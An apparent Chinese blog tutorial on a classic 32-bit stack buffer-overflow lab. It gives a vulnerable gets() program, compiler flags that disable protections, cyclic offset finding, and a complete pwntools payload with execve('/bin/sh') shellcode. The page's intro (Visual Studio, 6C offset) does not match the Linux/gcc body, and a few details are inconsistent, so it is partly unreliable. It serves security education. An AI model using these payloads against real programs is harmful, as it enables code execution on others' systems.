news 2026/10/15 7:50:23

缓冲区溢出实验解析:从栈帧原理到shellcode利用的完整演练

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
缓冲区溢出实验解析:从栈帧原理到shellcode利用的完整演练

简介:一份来自电子科技大学信息与软件工程学院的《网络安全技术》课程实验报告,以缓冲区溢出实验为主题,面向高校网络空间安全、软件工程专业学生及C/C++底层编程学习者。报告完整记录了栈溢出跟踪、漏洞利用与溢出编程三大实验内容,基于Visual Studio调试环境,逐步展示了push/pop指令对ESP、EIP的影响,函数调用时栈帧的建立与恢复,以及longbuf数组地址与EBP相差6C字节等关键现象,直观揭示了缓冲区溢出发生时返回地址被覆盖的机理。资源包仅含1个docx文档,大小353KB,内容涵盖实验目的、原理、实验步骤、结论及心得体会,并附有调试窗口截图与寄存器数据记录,便于读者对照复现。该资源已有237人次学习浏览,既能作为网络安全实验报告的撰写范本,也可帮助初学者理解栈与缓冲区溢出漏洞的底层原理。

1. 缓冲区溢出实验三到底在做什么:一次改写返回地址的完整攻击演练

这个实验标题看起来只是课程归档里普普通通的一行,但它实际覆盖了系统安全最核心的一条链路:缓冲区溢出从原理到利用的完整过程。实验目标不是让程序崩溃——崩溃谁都会,真正的门槛是输入一串精心构造的数据,精确覆盖函数返回地址,让程序跳进我们自己准备的 shellcode,最终拿到一个 shell。我习惯把它拆成“看懂栈帧 → 触发崩溃 → 定位偏移 → 构造 payload → 绕过防护”五个环节,每一步都能在本地复现。适合正在学操作系统或网络安全的读者,也适合刚想接触 pwn 方向、却被各种文章跳步劝退的入门者。

2. 原理与环境准备:先看懂栈帧,再谈攻击

2.1 栈帧布局:返回地址为什么紧挨着局部变量

要理解这次实验的攻击原理,得先看一次普通函数调用在 x86 栈上发生了什么。32 位下,调用函数时 CPU 会把当前指令的下一条地址压栈,这个地址就是返回地址(ret address);进入被调函数后,编译器再把上一帧的 ebp 压栈保存,然后给局部变量腾空间。于是栈上的布局从高地址到低地址依次是:调用方局部数据、返回地址、旧 ebp、当前函数局部变量。问题就出在这个顺序上:局部变量在低地址,返回地址在它上方,一旦数组写入越界,数据增长方向正好朝返回地址推进。

用 gets 这类不检查长度的函数读取输入时,写入方向从低地址向高地址走,只要输入足够长,迟早会覆盖旧 ebp、再往上就是返回地址。过去几十年大量漏洞都是这个成因,这也是为什么现代编译器默认在局部变量和返回地址之间塞入 canary——一个随机数,函数返回前检查它有没有被改过。本实验的第一步,就是在一个关闭 canary 的环境里,让这种天然的越界变得可控。

这里有一个初学者最容易忽略的细节:局部变量到返回地址之间的字节数,不能直接按数组声明大小算。比如声明 char buf[64],实际偏移要考虑编译器对齐、可能的填充字节、以及旧 ebp 占用的 4 字节。常见情况下偏移是 64 + 4 = 68,但碰上编译器做了 16 字节对齐或插入了其他临时变量,偏移会变成 76、80 甚至更大。这个数字必须靠调试实测,不能靠声明去猜。

2.2 环境准备:关闭 ASLR、关闭栈保护、允许执行栈

缓冲区溢出实验要稳定复现,环境比漏洞代码本身更重要。我一般用一个干净的 32 位 Linux 环境,原因有三个:一是 32 位下地址空间小,栈地址好猜,适合教学;二是经典 shellcode 大多按 32 位 i386 指令编写,网上能查到大量可直接对照的样本;三是 gdb 在 32 位进程上的行为更直观,寄存器和栈布局一眼能看明白。

接下来要处理的现代防护有三个,缺一个实验都做不成。栈保护(stack protector)会在局部变量和返回地址之间塞 canary,实验必须关掉;地址随机化(ASLR)会让每次运行的栈地址都变,必须关闭或固定;栈不可执行(NX)策略下,即使返回地址被控制,跳进栈上的 shellcode 也会直接段错误,所以编译时要显式允许栈执行。三者的关闭方式组合如下:

gcc -m32 -fno-stack-protector -z execstack -no-pie -g -o vul vul.c setarch "$(uname -m)" -R ./vul

逐项说明:-fno-stack-protector 关闭 canary;-z execstack 把栈标记为可执行;-no-pie 固定程序加载地址,避免 gdb 里取到的地址下次运行就失效;-g 保留调试信息。运行时用 setarch -R 关闭当前进程的地址随机化,它只影响这个命令启动的进程,不影响系统全局,实验完自动恢复。如果发行版没有 setarch,也可以用 sysctl 临时关闭,但记得实验后改回来。

环境清单其实只有四样:一个带 gcc、gdb、python3 的 Linux 发行版,32 位编译支持(通常是一个 multilib 包),pwntools 用于生成 pattern 和 payload,以及一个文本编辑器。没有 pwntools 也能做,用 python3 手写循环生成 pattern 和地址打包,但会多花不少时间,后文脚本都按 pwntools 写。

3. 最小实验复现:从代码到第一次崩溃

3.1 漏洞程序编写:gets() 是天然的溢出入口

实验用的漏洞程序刻意保持最小,目的是把注意力集中在溢出本身。最常见的选择是写一个包含 gets 函数的程序——gets 从标准输入读入一行数据写入目标缓冲区,但完全不检查输入长度,只要输入超过缓冲区大小就会一路写下去。新版 glibc 链接时会给出 dangerous 警告,但程序照常编译运行,不影响实验。

#include <stdio.h> void vulnerable() { char buf[64]; gets(buf); // 危险函数:不限制写入长度 printf("input: %s\n", buf); } int main() { vulnerable(); return 0; }

代码逻辑只有两步:vulnerable 函数声明 64 字节局部数组,gets 把用户输入写进 buf,然后 main 调用 vulnerable 并返回。实验目标不是修复这段代码,而是利用它的越界写,在 vulnerable 返回时接管程序控制流。如果你手头实验要求的入口函数是 strcpy,原理完全一样,只是输入来源从标准输入变成命令行参数或文件,后面所有调试思路不需要变。

写入方向值得再强调一次:gets 从 buf 起始地址开始向后写,buf 低地址端是数组开头,高地址端依次是编译器填充、旧 ebp、返回地址。输入长度超过 64 字节后,先碰到旧 ebp,再碰到返回地址。64 字节的缓冲区最少需要 64 + 4 + 4 = 72 字节才能碰到返回地址的第一个字节,具体是 72、76 还是更大,由编译对齐决定,下一步实测。

提示:如果你用的发行版自带较新 gcc,编译时可能出现warning: the 'gets' function is dangerous提示,这是预期现象。少数发行版会把 warning 升级成链接错误,遇到就加-D_FORTIFY_SOURCE=0,或者干脆换用 strcpy 做输入入口。

3.2 编译选项逐个解释与第一次崩溃

下面是实验最标准的编译命令,我逐项说明每个选项为什么必须存在,这也是一份可以直接抄的编译选项对照表:

编译选项作用不设的后果
-m32生成 32 位可执行文件,使用 x86 调用约定与 4 字节地址下面所有 32 位 shellcode 和地址计算全部失效
-fno-stack-protector禁止编译器插入 canary函数返回前检测到栈被改写,直接 abort
-z execstack把栈标记为可执行返回地址跳进栈上 shellcode 时触发段错误
-no-pie关闭位置无关可执行,固定加载地址每次运行栈地址抖动,调试取的地址不可复用
-g输出调试信息gdb 里看不到函数名和局部变量
gcc -m32 -fno-stack-protector -z execstack -no-pie -g -o vul vul.c

编译成功后先正常跑一次:输入一段普通文本,程序会原样打印并退出,说明逻辑正常。接着输入一段明显超长的数据,比如 100 个大写 A,程序大概率段错误。这一步的意义是确认漏洞入口存在,也让你第一次直观感受到越界写造成的后果。

printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n' | ./vul

看到 Segmentation fault 就是预期结果。原因很直接:gets 把数据写过了返回地址,vulnerable 返回时 CPU 试图跳到 0x41414141(大写 A 的 ASCII 码),这个地址不属于任何可执行映射,直接触发段错误。如果程序没有崩溃,问题多半出在编译选项没生效或输入长度不够,回到上面的表格逐项核对。

3.3 用 core dump 确认崩溃现场

段错误只是结果,我们要的是崩溃时的现场。第一步先确认 core dump 能生成,然后让程序崩溃,再用 gdb 加载 core 文件看寄存器状态。很多发行版默认 ulimit -c 是 0,需要先放开。

ulimit -c unlimited printf 'AAAA...A\n' | ./vul

崩溃后当前目录会出现 core 或 core.xxx 文件。用 gdb 加载它,重点看 eip——32 位下的指令指针寄存器:

gdb ./vul core (gdb) info registers eip (gdb) x/8wx $esp

正常情况 eip 应该是一串 0x41414141,即大写 A 的 ASCII 码,这说明返回地址已经被我们输入的数据覆盖。再用x/8wx $esp打印栈顶内容,能看到连续 0x41 填充的栈区域。到这里,实验的“崩溃”环节就完成了,下一步是把它从“随机崩溃”变成“精确控制”。

现场确认后,我一般还会顺手跑一次 info frame,看当前栈帧保存的返回地址位置,这个信息对后面算偏移量有参考价值。如果 eip 不是 0x41414141 而是一串乱码,通常是输入长度过了头,或者地址对齐和预期不一致,避坑章节会详细展开。

4. 构造 payload:精确覆盖返回地址,执行 shellcode

4.1 用 cyclic 精确计算溢出偏移量

实验做到这一步,最忌讳的就是用“猜”的偏移量。手动数 100 个 A 再逐字节对比,既慢又容易错。常见做法是用 pwntools 的 cyclic 生成一段有规律的字符串,每 4 字节一组,组内字符按递增顺序排列;程序崩溃后,把 eip 里的值还原,就能知道它落在第几组,乘以组数就是准确偏移。

from pwn import * context.arch = 'i386' payload = cyclic(200) # 生成 200 字节 pattern with open('pattern.txt', 'wb') as f: f.write(payload)
./vul < pattern.txt gdb ./vul core (gdb) info registers eip

假设 eip 显示为 0x6161616c,这是 pattern 里某一组字符的 ASCII 编码。在 pwntools 里用 cyclic_find 直接还原:

from pwn import * offset = cyclic_find(0x6161616c) # 传入 eip 的值,返回偏移量 print(offset)

输出结果就是“从 buf 起始到返回地址覆盖点”的精确偏移量,这是整个 payload 的地基,后面所有 padding 长度都依赖它。我见过不少人在这一步用固定值 72,结果换个编译器、换个优化级别就全线翻车。偏移量必须每台机器实测一次,不要复用。

4.2 从调试信息里计算返回地址

偏移量拿到后,还差一个关键数字:shellcode 在内存里的地址。常见做法是让 shellcode 放在返回地址之后,然后用一个固定地址跳过去。问题是栈地址受环境影响很大,同一台机器上 gdb 里跑和命令行里跑都可能差几百字节。

我分两步取地址。第一步,在 gdb 里跑一次含长输入的程序,在 vulnerable 返回前打断点,查看 buf 的地址;第二步,把 buf 地址加上一个安全余量,让返回地址跳到缓冲区中后部,前面铺 NOP sled。这样即使估算偏了一点,也大概率落在 NOP 上滑进 shellcode。

gdb ./vul (gdb) break *vulnerable+60 # 断点打在函数尾部、ret 指令之前 (gdb) run < pattern.txt (gdb) p &buf

把打印出来的 buf 地址记为 base_addr。随后在 payload 里,返回地址写成 base_addr + 某个偏移(比如 +32),这个偏移对应 NOP sled 的长度区间。为什么要偏后而不是偏前?因为 gets 写入完成后,缓冲区头部区域可能被 printf 或后续栈操作触碰,偏后一些能避开不稳定的头部数据。

需要明白的是,这里的地址依赖具体进程的栈布局,换一台机器、换一个 shell 环境都可能变化。所以我的习惯是:取地址和执行 payload 在同一个环境模式里完成,具体来说就是都通过setarch -R启动,避免 gdb 内外差异。这一点避坑章节会专门说。

4.3 完整 payload 脚本与验证

最后是组装整套 payload。结构是:padding(长度等于偏移量)+ 返回地址 + NOP sled + shellcode。shellcode 用最常见的 execve("/bin/sh") 套路,24 字节,不含回车换行等特殊字节,可以直接被 gets 读入。

from pwn import * context.arch = 'i386' offset = 76 # 上一步 cyclic_find 的结果,按实测修改 shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' ret_addr = 0xffffd0b0 # 调试时看到的 buf 地址 + 偏移,按实测修改 payload = b'A' * offset # 1. 填充到返回地址 payload += p32(ret_addr) # 2. 覆盖返回地址,指向 NOP sled payload += b'\x90' * 32 # 3. NOP sled,滑向 shellcode payload += shellcode # 4. 真正要执行的代码 with open('payload.bin', 'wb') as f: f.write(payload)

参数说明:p32 是 pwntools 里把 32 位整数打包成小端字节序的函数,x86 栈上地址就是小端存储,不能直接写字符串。NOP sled 长度不是固定的,环境越不稳定就铺得越长;关闭 ASLR 时 32 字节够用,没关的话建议至少 128 字节。shellcode 里如果出现 \x0a(换行)会被 gets 截断,上面这段经典 shellcode 刻意避开了它。

setarch "$(uname -m)" -R ./vul < payload.bin

一切正常的话,程序不会打印输入内容,而是直接进入一个交互式 shell,输入 id 或 whoami 能看到当前用户信息。这一步成功,说明你已经完整走完了“定位溢出点 → 覆盖返回地址 → 执行任意代码”的链路,缓冲区溢出实验的核心目标达成。如果退出了 shell 而不是进入交互,常见原因是 stdin 重定向后 shell 读不到输入,避坑章节有对应处理。

5. 避坑:缓冲区溢出实验的 5 个常见问题

5.1 段错误但 eip 是乱码,而不是预期的 0x41414141

现象:用大写 A 填充触发崩溃后,gdb 里看 eip 不是 0x41414141,而是一串看起来像地址但不规整的值。

原因:输入长度超出了返回地址覆盖点,eip 被后面继续越界的数据覆盖;或者输入里混进了不可见字符,导致 gdb 解析 core 时把 eip 读错。另一个常见原因是 offset 计算偏差,数据没有正对返回地址的 4 个字节,而是错位覆盖了其中一部分。

解决:不要纠结用 A 验证,直接用 cyclic 生成 pattern,崩溃后把 eip 喂给 cyclic_find 算偏移。这是确定性操作,不要靠肉眼对比。如果 cyclic_find 报错说找不到,把 pattern 长度从 200 加到 512 再试一次。

5.2 gets() 吃掉了 payload 里的 \x00,shellcode 根本没执行

现象:payload 生成时看着完整,运行时程序要么直接退出,要么打印输入后正常返回,看不到 shell。

原因:gets 以换行符为结束标志,它内部对 \x00 是照读的;问题通常出在输入通道上。如果换成 strcpy,\x00 会被当成字符串结束符,后半段 payload 全部丢失。部分工具或重定向方式也会在 \x00 处截断数据。

解决:先确认输入通道。gets 场景下 \x00 可以读入,但如果换成了 strcpy 或某些文件读取方式,就要选一个不含 \x00 字节的返回地址。32 位环境一般能挑到高位不含 0x00 的栈地址,多试几个偏移。如果返回地址必含 \x00,改用 fread 或 scanf 这类能读二进制的函数做输入入口,绕过截断问题。

5.3 gdb 里 payload 成功,命令行里跑却失败

现象:在 gdb 里用 run < payload.bin 能进入 shell,但回到终端直接跑同样命令就段错误。

原因:gdb 启动进程时会多设置一些环境变量,栈上被压入更多数据,导致同样代码在 gdb 里和命令行里的栈地址不同。返回地址是按 gdb 里的地址写的,出了 gdb 自然跳偏。

解决:三条路任选。一是全程关闭 ASLR,用setarch -R ./vul < payload.bin运行,让栈地址稳定;二是在 payload 里加大 NOP sled,让地址偏差被 NOP 吸收;三是不要在 gdb 里取地址,而是在setarch -R环境下用 core dump 取真实地址。我自己习惯先 setarch -R,再在命令行环境取地址,这样和最终执行环境完全一致。

5.4 shellcode 执行了,但没有进入交互式 shell

现象:程序没有段错误,但也没有进入 shell,直接退出了;或者 shell 一闪而过。

原因:输入是通过重定向或管道喂进去的,shell 启动后 stdin 已经没有数据,读不到命令就立即退出。这不是 shellcode 的问题,而是输入通道的问题。

解决:换一个交互式执行方式。用(cat payload.bin; cat) | ./vul保持 stdin 打开;或者写一个 pwntools 脚本,用 process 启动漏洞程序、发送 payload、再调用 interactive() 接管会话。进入 shell 后你会发现当前进程的 uid 和 vul 程序相同,这正是实验预期结果。

5.5 编译直接失败:缺 32 位库,或默认防护关不掉

现象:gcc 报错找不到头文件,或者链接阶段报错 cannot find -lgcc;又或者加了 -fno 选项,程序还是带 canary。

原因:部分 64 位发行版默认没有 32 位编译链,需要额外的 multilib 支持包。另外,少数发行版的默认编译配置会覆盖部分选项,导致保护没关干净。

解决:先安装 32 位支持,常见包名是 gcc-multilib 或 libc6-dev-i386。再验证编译产物确实没开保护:用 readelf -l 看 GNU_STACK 段是否标记为 RWX,用 gdb 查有没有 __stack_chk_fail 引用。如果编译选项被发行版默认参数覆盖,显式在命令里重写-Wl,-z,execstack -no-pie,并检查发行版默认的 CFLAGS 和 LDFLAGS。

6. 进阶:把实验做成可复现的一键验证

6.1 一键复现脚本

实验做完只是开始,我建议把它封装成一个脚本,免得两周后想复习时连编译选项和 payload 地址都忘了。脚本做的事很直接:关闭地址随机化、编译漏洞程序、生成 payload、执行并验证结果。

#!/bin/bash set -e gcc -m32 -fno-stack-protector -z execstack -no-pie -g -o vul vul.c python3 gen_payload.py setarch "$(uname -m)" -R ./vul < payload.bin

gen_payload.py 就是第 4 章里的 payload 生成脚本,编译、生成、执行三步串起来。以后换机器只需要改掉脚本里 offset 和 ret_addr 两个常量,重跑一次就能验证新环境的可行性。

6.2 用输出断言替代肉眼看结果

实战验证我一般不用肉眼判断“有没有进入 shell”,而是让 shellcode 生效后先执行一条能留下痕迹的命令,再用断言确认输出里包含它。pwntools 的 process 会为子进程分配和命令行一致的运行环境,正好避开 gdb 内外地址不一致的坑。

from pwn import * context.arch = 'i386' offset = 76 shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' ret_addr = 0xffffd0b0 p = process('./vul') p.sendline(b'A' * offset + p32(ret_addr) + b'\x90' * 32 + shellcode) p.sendline(b'echo PWNED') output = p.recvall(timeout=2) assert b'PWNED' in output # shellcode 生效后,echo 会被 shell 执行并回显 p.close()

这个断言比肉眼可靠得多,以后改环境、改偏移量,跑一次就知道通没通。我在做这个实验时最大的教训就是“先看环境再看代码”:ASLR 没关、栈保护没关,后面所有调试都是在和看不见的对手较劲。现在每换一台机器,第一件事永远是 setarch -R 加 checksec,再碰漏洞代码。希望这个习惯和上面这套流程能帮到你,让缓冲区溢出实验不再玄学——把每一步都变成可验证、可复现的操作,剩下的只是时间问题。

本文还有配套的精品资源,点击获取

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/15 7:50:21

伪·BiliLocal播放器全弹幕发射:本地视频弹幕渲染与时间轴对齐实战

1. 这个“伪BiliLocal”到底在折腾什么第一次看到“伪BiliLocal播放器全弹幕发射”这个说法&#xff0c;很多人会以为是在讲某个现成的播放器软件怎么用。其实不是。这里的“伪”字才是重点——它指的是一种用本地播放器模拟在线弹幕播放体验的思路&#xff0c;核心目标只有一个…

作者头像 李华
网站建设 2026/10/15 7:49:16

从模型竞赛到工程落地:云栖大会与GPT-6 Astra的技术解读

2026年9月29日这天的科技圈热点&#xff0c;基本被两件事承包了&#xff1a;上午云栖大会开幕&#xff0c;铺天盖地的都是"AI全栈落地"、大模型应用、Agent工具链的消息&#xff1b;下午一段GPT-6 Astra实体车实操视频开始在群里疯转&#xff0c;有人说是年度最震撼演…

作者头像 李华
网站建设 2026/10/15 7:49:06

容器之间互相找不到:名字解析到底在哪一步断的

授权与合规声明 本文全部操作对象均为自建隔离靶场&#xff08;本机容器或隔离虚拟机&#xff09;&#xff0c;涉及安全测试的环节必须以取得合法授权为前提。未经授权的渗透测试违反《中华人民共和国网络安全法》与《刑法》相关条款&#xff0c;须承担相应法律责任。本文只讲环…

作者头像 李华
网站建设 2026/10/15 7:49:03

归并排序高效统计逆序对:算法原理与实现

1. 问题背景与定义在算法面试和编程竞赛中&#xff0c;逆序对问题是一个经典的计算问题。给定一个数组&#xff0c;如果前一个数字大于后一个数字&#xff0c;则这两个数字组成一个逆序对。例如在数组[7,5,6,4]中&#xff0c;逆序对总共有5个&#xff1a;(7,5)、(7,6)、(7,4)、…

作者头像 李华
网站建设 2026/10/15 7:48:32

Java开发必看:List<Map>排序原理与Comparator实战全解

做Java后端这几年&#xff0c;要说遇到频率最高、看起来最简单但真正做起来一堆坑的需求&#xff0c;“对List排序”绝对能排进前三。刚从数据库查出来一批数据&#xff0c;往List<Map<String, Object>>里一装&#xff0c;然后前端表格要排序、报表要按字段排名、排…

作者头像 李华
网站建设 2026/10/15 7:48:27

Matlab实现悬臂梁振动特性分析与工程应用

1. 项目背景与核心价值悬臂梁作为工程结构中常见的承力构件&#xff0c;其振动特性分析在机械、建筑、航空航天等领域具有广泛的应用价值。从风力发电机叶片到飞机机翼&#xff0c;从桥梁结构到微机电系统中的悬臂探针&#xff0c;理解这类结构的动态响应特性直接关系到设备的安…

作者头像 李华